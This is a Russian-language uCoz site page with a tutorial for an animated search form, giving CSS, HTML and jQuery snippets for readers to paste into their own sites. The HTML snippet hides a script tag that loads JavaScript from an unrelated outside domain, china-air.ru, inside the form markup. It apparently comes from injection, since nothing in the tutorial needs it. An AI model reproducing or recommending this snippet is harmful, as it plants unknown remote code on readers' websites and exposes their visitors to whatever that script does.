Понедельник, 23.06.2025, 06:40
Менюха
Главная страница Форум Файловый архив ТОП сайтов Онлайн PS
Все для CS 1.6
Боты Меню Карты Радары Плагины Прицелы Логотипы Античиты Программы Скачать Steam Модели оружий Модели игроков Готовые сервера
Все для Photoshop
Кисти Photoshop Градиенты Photoshop Шрифты Photoshop Готовые PSD работы
ТОП файловиков

RomantiQ
Файлов:
29

vassav
Файлов:
27

VirTuAl
Файлов:
1

Sniper{OK}
Файлов:
1

The_CReaToR
Файлов:
0

DianaWeb
Файлов:
0
Партнер №1
Ваша реклама

Реклама на сайте Реклама на сайте

Реклама на сайте Реклама на сайте

Реклама на сайте Реклама на сайте

Пожертвования
Дорогие посетители , внесите пожертвование в развитие нашего проекта.
R335757147300
WMR

Сказать мнение о сайте
Главная » 2012 » Декабрь » 23 » Форма поиска для Ucoz
22:22
Форма поиска для Ucoz
Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

Код
#search {
  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
  background:#fff;
  width: 8px;
  padding: 0 8px;
  height: 24px;
  font-size: 14px;
  color: #666;
  line-height: 24px;
  border: 0;
  outline: none;
  border-radius: 50px;
  position: relative;
  z-index: 5;
  -moz-transition: .1s ease;
  -ms-transition: .1s ease;
  -webkit-transition: .1s ease;
  -o-transition: .1s ease;
  transition: .1s ease;
  cursor:pointer;
}
#search:focus {
  border: 0;
  outline: none;
  width: 180px; /*ширина открытой формы*/
}
p.s {
  z-index: 4;
  position: relative;
  padding: 6px;
  border-radius: 100px;
  background: #abc8df;
  display: inline-block;
  cursor:pointer;
}
p.s:hover, p.s:hover:after {
  background: #9eb9cf;
}
p.s_fo {
  -o-transition: 0.9s;
  -moz-transition: 0.9s;
  -ms-transition: 0.9s;
  -webkit-transition: 0.9s;
  transition: 0.9s;
  -moz-transform: rotate(1080deg);
  -ms-transform: rotate(1080deg);
  -webkit-transform: rotate(1080deg);
  -o-transform: rotate(1080deg);
  transform: rotate(1080deg);
}
p.s:after {
  content: '';
  display: block;
  position: absolute;
  width: 7px;
  height: 12px;
  background: #abc8df;
  bottom: -4px;
  right: -2px;
  border-radius: 0 0 5px 5px;
  -moz-transform: rotate(-45deg);
  -ms-transform: rotate(-45deg);
  -webkit-transform: rotate(-45deg);
  -o-transform: rotate(-45deg);
  transform: rotate(-45deg);
}
.blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/
.blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/
.green p.s, .green p.s:after {background:#65b11c;}
.green p.s:hover, .green p.s:hover:after {background:#599c18;}
.gray p.s, .gray p.s:after {background:#d7d7d7;}
.gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}
.pink p.s, .pink p.s:after {background:#ffbcef;}
.pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}
.orange p.s, .orange p.s:after {background:#faaa3a;}
.orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}
.black p.s, .black p.s:after {background:#676767;}
.black p.s:hover, .black p.s:hover:after {background:#484747;}


Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл
Установка HTML

Код
<form method="get" action="/search/" class="blue">
  <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>
</form>


Устанавливаем в то месте где хотим видеть...
Установка JS

Код
<script>
jQuery(document).ready(function () {
  $('#search').focusout(function(){
  $('p.s').addClass("s_fo");
  });
  $('#search').focusin(function(){
  $('p.s').removeClass("s_fo");
  });
});
</script>


Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска

Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений

blue - голубой
green - зеленый
gray - серый
pink - розовый
orange - оранжевый
black - черный

Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части.

Понравилась статья? Оставьте свое мнение в комментариях к ней...
Просмотров: 305 | Добавил: startsmart | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Мини профиль
На службе : дней


Партнёры
Наш опрос
Ваша любимая граната
Всего ответов: 17
Календарь
«  Декабрь 2012  »
Пн Вт Ср Чт Пт Сб Вс
     12
3456789
10111213141516
17181920212223
24252627282930
31
Друзья сайта
  • Топ100 сайтов
  • Харьковская барахолка
  • Статистика
    Онлайн:

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Зарег. на сайте:
    Всего: 54
    Новых за месяц: 0
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0
    Из них:
    Обычных: 50
    Г.Администраторов: 3
    Администраторов: 0
    Гл.Модераторов: 0
    Модераторов: 0
    Дизайнеров: 0
    Журналистов: 1
    Файловиков: 0
    Проверенных: 0
    Забаненых: 1
    Из них:
    Парней: 45
    Девушек: 9
    Счетчик материалов:
    Новостей: 165
    Файлов: 53
    Форум: 136/155
    В ТОПе: 5 сайт-а(ов)
    Комментариев: 1
    Счетчики:
    Сегодня нас посетили:


    srteam.at.ua Используются технологии uCoz